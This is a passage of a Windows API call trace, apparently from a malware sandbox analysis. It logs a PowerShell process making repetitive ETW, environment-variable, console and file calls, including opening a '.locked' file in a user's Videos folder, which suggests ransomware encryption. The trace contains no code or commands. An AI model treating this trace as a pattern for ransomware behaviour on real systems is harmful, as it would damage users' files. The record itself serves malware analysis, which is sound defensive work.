[7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x40, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.113] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.114] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.114] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.114] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x41, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.114] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.115] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.115] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.115] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.115] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x42, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.115] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.116] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.116] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.116] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.116] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x43, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.116] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.117] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.117] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.117] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x44, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.117] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x45, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.119] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0138.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0138.119] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\mlcp9z6qmpkkhl\\0blj4c_pvmox6krbe.avi.locked"), fInfoLevelId=0x0, lpFileInformation=0x69ed52c | out: lpFileInformation=0x69ed52c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1588d90f, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x1588d90f, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x158b3b91, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xe3f4)) returned 1 [0138.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0138.119] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi.locked", lpFilePart=0x0) returned 0x78 [0138.120] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\MlcP9Z6qmpKKHL\\0Blj4c_PVMox6Krbe.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\mlcp9z6qmpkkhl\\0blj4c_pvmox6krbe.avi.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0138.120] GetFileInformationByHandle (in: hFile=0x764, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0138.120] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0138.121] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0138.121] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0138.126] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0138.126] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0138.127] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0138.134] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0138.139] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0138.139] GetConsoleOutputCP () returned 0x1b5 [0138.139] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0138.140] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0138.140] GetConsoleOutputCP () returned 0x1b5 [0138.140] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0138.140] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0138.141] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a160d4*, nNumberOfCharsToWrite=0x6a, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x6a160d4*, lpNumberOfCharsWritten=0x99ae3a4*=0x6a) returned 1 [0138.141] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0138.142] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0138.147] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0138.147] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0138.148] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0138.152] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0138.152] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0138.153] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0138.157] GetConsoleOutputCP () returned 0x1b5 [0138.157] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0138.157] GetConsoleOutputCP () returned 0x1b5 [0138.158] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0138.158] GetConsoleOutputCP () returned 0x1b5 [0138.158] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.158] GetConsoleOutputCP () returned 0x1b5 [0138.160] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.160] GetConsoleOutputCP () returned 0x1b5 [0138.160] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0138.160] GetConsoleOutputCP () returned 0x1b5 [0138.161] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0138.161] GetConsoleOutputCP () returned 0x1b5 [0138.161] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.161] GetConsoleOutputCP () returned 0x1b5 [0138.161] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.161] GetConsoleOutputCP () returned 0x1b5 [0138.162] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0138.162] GetConsoleOutputCP () returned 0x1b5 [0138.162] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0138.162] GetConsoleOutputCP () returned 0x1b5 [0138.162] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.162] GetConsoleOutputCP () returned 0x1b5 [0138.163] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.163] GetConsoleOutputCP () returned 0x1b5 [0138.163] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0138.163] GetConsoleOutputCP () returned 0x1b5 [0138.163] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0138.163] GetConsoleOutputCP () returned 0x1b5 [0138.164] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.164] GetConsoleOutputCP () returned 0x1b5 [0138.164] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.164] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0138.165] GetConsoleOutputCP () returned 0x1b5 [0138.165] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0138.165] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0138.165] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a1706c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6a1706c*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0138.166] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0138.166] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0138.171] GetConsoleOutputCP () returned 0x1b5 [0138.171] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0138.171] GetConsoleOutputCP () returned 0x1b5 [0138.171] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0138.172] GetConsoleOutputCP () returned 0x1b5 [0138.172] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0138.172] GetConsoleOutputCP () returned 0x1b5 [0138.172] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0138.172] GetConsoleOutputCP () returned 0x1b5 [0138.173] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.173] GetConsoleOutputCP () returned 0x1b5 [0138.173] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.173] GetConsoleOutputCP () returned 0x1b5 [0138.174] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.174] GetConsoleOutputCP () returned 0x1b5 [0138.175] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.175] GetConsoleOutputCP () returned 0x1b5 [0138.176] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.176] GetConsoleOutputCP () returned 0x1b5 [0138.176] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.176] GetConsoleOutputCP () returned 0x1b5 [0138.176] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.176] GetConsoleOutputCP () returned 0x1b5 [0138.177] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.177] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0138.177] GetConsoleOutputCP () returned 0x1b5 [0138.177] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0138.177] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0138.178] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a17ac4*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6a17ac4*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0138.178] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0138.178] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0138.183] GetConsoleOutputCP () returned 0x1b5 [0138.183] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.183] GetConsoleOutputCP () returned 0x1b5 [0138.184] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.184] GetConsoleOutputCP () returned 0x1b5 [0138.184] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.184] GetConsoleOutputCP () returned 0x1b5 [0138.185] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.185] GetConsoleOutputCP () returned 0x1b5 [0138.185] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.185] GetConsoleOutputCP () returned 0x1b5 [0138.185] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.186] GetConsoleOutputCP () returned 0x1b5 [0138.186] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.186] GetConsoleOutputCP () returned 0x1b5 [0138.186] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.186] GetConsoleOutputCP () returned 0x1b5 [0138.187] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.187] GetConsoleOutputCP () returned 0x1b5 [0138.187] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.187] GetConsoleOutputCP () returned 0x1b5 [0138.188] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.188] GetConsoleOutputCP () returned 0x1b5 [0138.188] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.188] GetConsoleOutputCP () returned 0x1b5 [0138.188] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.188] GetConsoleOutputCP () returned 0x1b5 [0138.189] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.189] GetConsoleOutputCP () returned 0x1b5 [0138.189] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.190] GetConsoleOutputCP () returned 0x1b5 [0138.190] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.190] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0138.190] GetConsoleOutputCP () returned 0x1b5 [0138.191] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0138.191] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0138.191] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6a198e0*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6a198e0*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0138.192] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0138.192] WriteConsoleW (in: 